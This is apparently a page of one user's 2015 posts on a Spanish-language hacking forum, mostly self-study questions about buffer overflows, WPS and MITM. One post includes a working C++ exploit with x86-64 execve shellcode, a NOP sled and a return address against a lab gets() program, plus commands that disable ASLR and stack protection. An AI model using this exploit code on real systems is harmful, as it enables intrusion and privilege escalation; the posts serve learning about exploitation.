elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14
121  Seguridad Informática / Bugs y Exploits / Inconveniente al explotar vulnereabilidades de funciones gets() y scanf()? en: 24 Octubre 2015, 09:05 am
Hola señores!! En ésta oportunidad estuve leyendo éste thread:

https://foro.elhacker.net/programacion_general/programacion_segura_buffer_overflows_by_strcpy-t95901.0.html

Hasta hace unos días solo entendía como explotar vulnereabilidades de la funcion strcpy(), y ahora estaba aprendiendo a vulnerar otras funciones, otros casos. Es todo muy similar. Para vulnerar el strcat() por ejemplo hay que tener en cuenta la primera parte del string que se concatena con la segunda parte. Si sabemos la dirección de memoria donde se almacena el string, tenemos que sumar el desplazamiento de la primera parte de la cadena digamos, para usar como dirección de retorno.

Por ejemplo, si tenemos éste código:

Código
  1. char buffer[64]="AAAA";
  2. strcat(buffer, argv[1]);

Supongamos hipotéticamente que la dirección de memoria en la que se almacena buffer es 0x00000000. Entonces la dirección de retorno no puede ser 0x00000000, debería ser 0x00000004, ya que sumamos los 4 bytes de desplazamiento de las "A", porque en el código despues de concatenar vamos a tener "AAAAshellcode", y la shellcode empieza recién en 0x00000004.

Bueno, hasta aca todo genial, mi problema es cuando intento vulnerar casos usando gets() o scanf().

En primer lugar, cabe aclarar que todos los ejemplos los uso con ASLR desactivado:
echo 0 > /proc/sys/kernel/randomize_va_space

Les dejo un ejemplo de programa vulnerable:

Código
  1. /* Ejemplo de bof */
  2. /* gets() peligroso */
  3.  
  4. #include <stdio.h>
  5. int main() {
  6.    char buffer[64];
  7.    printf("%p\n\n",buffer);
  8.    gets(buffer); /* Otra ves una funcion peligros */
  9. }

(era la que estaba en el link que mandé)

Compilado de la siguiente forma:

gcc -fno-stack-protector -z execstack -o gets gets.c


Bueno, para explotarla, hice éste exploit: (la shellcode es para ejecutar /bin/dash)

Código
  1. #include <iostream>
  2. #include <fstream>
  3. using namespace std;
  4.  
  5. int main() {
  6.  
  7.    char ret[] = "\x40\xe3\xff\xff\xff\x7f";
  8.  
  9.    //29 bytes shellcode
  10.    char shellcode[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
  11.  
  12.    //71 bytes nops - 29 shellcode = 43 nops
  13.    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  14.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  15.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  16.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  17.                  "\x90\x90\x90";
  18.  
  19.    cout << "Creando exploit\n\n";
  20.    ofstream fichero;
  21.    fichero.open("archivo.txt");
  22.    fichero << shellcode << nops << ret ;
  23.    fichero.close();
  24.    cout << "ya esta!!!\n\n";
  25.    return 0;
  26.  
  27. }

Lo compilo:
g++ -o exploit exploit.cpp

Lo ejecuto:
./exploit

Abro el programa vulnerable con gdb:
gdb gets

Lo corro enviándole el archivo generado por el exploit:
run < archivo.txt

Y obtengo ésta salida:

process 6070 is executing new program: /bin/dash
[Inferior 1 (process 6070) exited normally]
(gdb)

Es decir, RIP se sobreescribió, la shellcode se ejecutó correctamente pero ni bien se ejecuta se cierra digamos, no puedo hacer nada, en ningun momento puedo usar la consola. Probando fuera de gdb, no me da ninguna salida, supongo que pasa lo mismo, se ejecuta y se cierra inmediatamente de forma que no puedo tomar provecho con ésta shellcode... Despues probé con una shellcode para hacer: cat /etc/passwd, y se ejecuta perfectamente tanto dentro como fuera de gdb, se muestra por consola dicho archivo.... Intentando explotar la función scanf() tuvé exactamente el mismo problema que con gets()...

Ahora la pregunta mia es, como puedo hacer para ejecutar y poder usar una terminal sin que se cierre? Tal como lo hice cuando exploté strcpy(), strcat(), etc...  Tal vez no haya que usar un archivo, sino mandar la shellcode cuando las funciones esperan que ingreses el string, pero como hago para meter una shellcode hexadecimal de esa forma?  

Desde ya muchas gracias por ayudar! Saludos.
122  Seguridad Informática / Bugs y Exploits / Re: Utilidad de explotar vulnereabilidades de Stack Overflow en Windows? en: 16 Octubre 2015, 23:03 pm
Claroooo!!! Ahí te entendí! Me acabas de abrir la cabeza de una forma increíble jajaja. Muchas graicas!!! Saludos.
123  Seguridad Informática / Bugs y Exploits / Re: Utilidad de explotar vulnereabilidades de Stack Overflow en Windows? en: 16 Octubre 2015, 03:18 am
Hola .:UND3R:. ! Gracias por tu aporte y perdón por mi ignorancia, pero...
Los exploits de escalación de privilegios no los podría ejecutar fuera del programa vulnerable? O sea por que la necesidad de usar esos exploits dentro de otro programa?

Saludos y gracias por tu tiempo!
124  Seguridad Informática / Bugs y Exploits / Utilidad de explotar vulnereabilidades de Stack Overflow en Windows? en: 10 Octubre 2015, 20:36 pm
Hola informaticos! Estoy un poco cerrado de imaginación por eso recurro a ustedes para que me abran un poco la cabeza... Yo tenía entendido que una utilidad fundamental del Buffer Overflow en Linux era la de conseguir una shell de root si el programa a atacar tiene el flag de suid activado... En Windows me parece que no existe éste mecanismo, entonces por más que consiga invocar a una consola dentro del programa vulnerado, si estoy atancando sin permisos, la consola tampoco tendrá permisos.... Entonces me gustaría que me abran un poco la cabeza, denme algunas ideas de cosas utiies que puedo hacer en Windows explotando éstas vulnereabilidades, y algunas otras ideas para Linux si quieren y pueden. Saludos y gracias desde ya por visitar éste hilo y aportar!
125  Seguridad Informática / Bugs y Exploits / Re: Buffer overflow: las direcciones en las que se apila siempre cambian (flag suid) en: 9 Octubre 2015, 18:34 pm
Muchas gracias por aportar!!!! Ahora mismo lo leo! :D
126  Seguridad Informática / Bugs y Exploits / Re: Buffer overflow: las direcciones en las que se apila siempre cambian (flag suid) en: 9 Octubre 2015, 13:57 pm
La solución a mi problema:

echo 0 > /proc/sys/kernel/randomize_va_space

Moraleja: antes de preguntar algo averigüen un poco más jaja :D
127  Seguridad Informática / Bugs y Exploits / Buffer overflow: las direcciones en las que se apila siempre cambian (flag suid) en: 9 Octubre 2015, 13:42 pm
Hola informáticosl!!! Estaba tratando de seguir el clásico y básico ejercicio de buffer overflow sobre mi kali de 64 bits, éste ejercicio para ser concreto:

https://www.exploit-db.com/docs/33698.pdf

Pude explotarlo dentro de gdb como root (logrando imprimir el contenido de passwd) y luego probé con otra shellcode que ejecutaba bin dash que también funcionó (tuve la shell privilegiada).... La dirección de retorno que usaba siempre era la misma por más que abriera el programa en gdb una y otra vez... Luego probe lo mismo pero usando una consola no privilegiada y llegue a exactamente lo mismo, solo que obtuve una shell no privilegiada (hasta aqui todo normal)... El problema empezó cuando le di chmod +s bof (bof es el programa vulnerable). Entré en una shell no privilegiada, abri el gdb, busqué la dirección de memoria en la que se empezaba a apilar la shellcode y cuando reinicié el gdb para correr el programa (junto con el exploit con la dirección de retorno modificada) resulta que me tira segmentation fault... Recorrí paso por paso de vuelta y noté que cada vez que reiniciaba gdb, la shellcode se apilaba en direcciones de memoria distintas, lo cuál me imposibilitó en saber qué dirección usar como la de retorno.... Otra cosa: si quiero explotar el programa fuera del gdb, la shellcode se apila en diferentes direcciones sin importar si está activado o no el flag de suid... Me imagino que ustedes se toparon con algo de ésto... Sabrían alguna solución o método para saber que dirección de retorno usar, o alguna forma para que la shellcode se apile siempre en las mismas direcciones? Gracias desde ya!! Toda la información que necesitan para ayudarme con mi duda está en el pdf, yo seguí paso por paso de ahi... Es el ejemplo básico que encuentran en todos lados... Saludos!!!! 
128  Seguridad Informática / Hacking Wireless / Re: ¿Cómo usar WPS con router TP-LINK TL-WR841ND? en: 24 Septiembre 2015, 02:00 am
Siii!! Ya aprendí a usarlo... Igual jamás me conectaría caseramente a través de esos pines, pero quería saber como funcionaba el protocolo... Si quería experimentar con reaver, bully, wash, y otras herramientas mínimamente tenía que saber como era posible conectarse :p jaja... También depende el dispositivo que quieras conectar.. Si se trata de un celular, se hace de otra forma... El celular te da un pin y ese pin hay que ingresarlo en el router, en cambio para conectar otra PC, hay que ingresar en esa PC el pin que tiene el router (sería al revés)... Saludos y gracias por la ayuda!!!
129  Seguridad Informática / Seguridad / Por dónde viajan exactamente los datos en un ataque MITM? en: 20 Septiembre 2015, 20:27 pm
Hola que tal gente!!! Mi duda es la siguiente:

Poniendo como ejemplo que a través de mi portatil quiero sniffar a otra portatil víctima, yo antes pensaba que los datos de la portatil víctima eran enviados a mi notebook antes de llegar al router, y yo sería quien envía los datos a router que luego van a internet, y del router son enviados a mi nuevamente para finalmente enviárselos a la portatil víctima....

Despues de leer cosas sobre redes WiFi, note que dos tarjetas de red en modo managed no se pueden comunicar entre si... Dependen siempre del router. Sería una conexión punto a multipunto... Entonces despues de ésto me replantié un poco el traycto de los datos....

Ahora pienso que de la portatil víctima, los datos van al router, del router a mi, de mi al router, del router a internet, de internet al router, del router a mi, de mi al router y del router a la portatil víctima... Un montón de pasos!!! Traten de seguirlos y decime si estoy acertado en ésto, si hay algún paso de más, alguno de menos, o explicarme alguna que otra cosa, pero lo que si no se gasten mucho en explicarme como se modifica la tabla ARP porque eso lo entiendo y lo observo a menudo con el wireshark y con arp -a... Bueno gracias desde ya!!! Saludos.
130  Foros Generales / Foro Libre / Debate: ¿En qué momento un newbie se convierte en white hat/black hat/cracker? en: 18 Septiembre 2015, 20:25 pm
Hola que tal gente! Abro éste tema para preguntarles según ustedes a partir de que momento un newbie interesado en la seguridad informatica pasa a ser lo suficientemente experimentado como para ser llamado sombrero blanco/negro o cracker...

Para mi punto de vista ninguna persona que solo sepa usar software, herramientas de hacking hechas por otras personas pueden ser llamadas white hat... Por más que sepan usar casi todas las que vienen en Kali... Ojo, no menosprecio a esa gente, para mi punto de vista está genial arrancar experimentando con herramientas ya hechas... Ahora, el white hat para mi es un hacker que sabe de programación, que crea sus propias herramientas, no digo que cree todo lo que usa, pero si algunas heramientas... Y entiendan a fondo como estén hechas... O descubrir vulnereabilidades y ser capaz de crear propios exploits... Pero a partir de que momento un newbie merece ser conocido como white hat? Despues de crear su primera herramienta? Despues de crear unas cuantas? 

Un black hat, para mi es un hacker, un programador que crea sus propios exploits al igual que el white hat, a diferencia que éste último los publica para colaborar con la seguridad, y de paso ser reconocidos, ya que cualquiera que busque y use su exploit verá su nombre... Gana reconocimiento... En cambio el black hat opta por quedarselo para el mismo, y tenerlo como 0-day hasta que otro descubra la vulnereabiliad y sea parchada... Prefieren tener su herramienta para hacer maldades, infiltrarse, robar datos, etc, sacrificando el ser conocido, el llevar su nombre en un exploit de db por ejemplo...  Pero a partir de que momento un newbie merece ser conocido como black hat? Despues de crear su primer exploit-0day? Despues de crear unas cuantos? 

Despues un cracker, es una persona que tiene que saber de ingeniería inversa... De assembly, de bajo nivel, de sistemas operativos, como funcionan... Y saber como romper la seguridad de los programas pagos para saltearse sus restricciones... Pero a partir de que momento un newbie merece ser conocido cracker? Despues de haber crackeado un programa? Despues de haber crackeado cuantos? 

Ustedes que piensan de ésto? Todos van a tener su punto de vista, y no va a haber nadie que tenga la completa razón ni nadie que no la tenga.. Porque ésto es bastante relativo...

Bueno saludos!
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines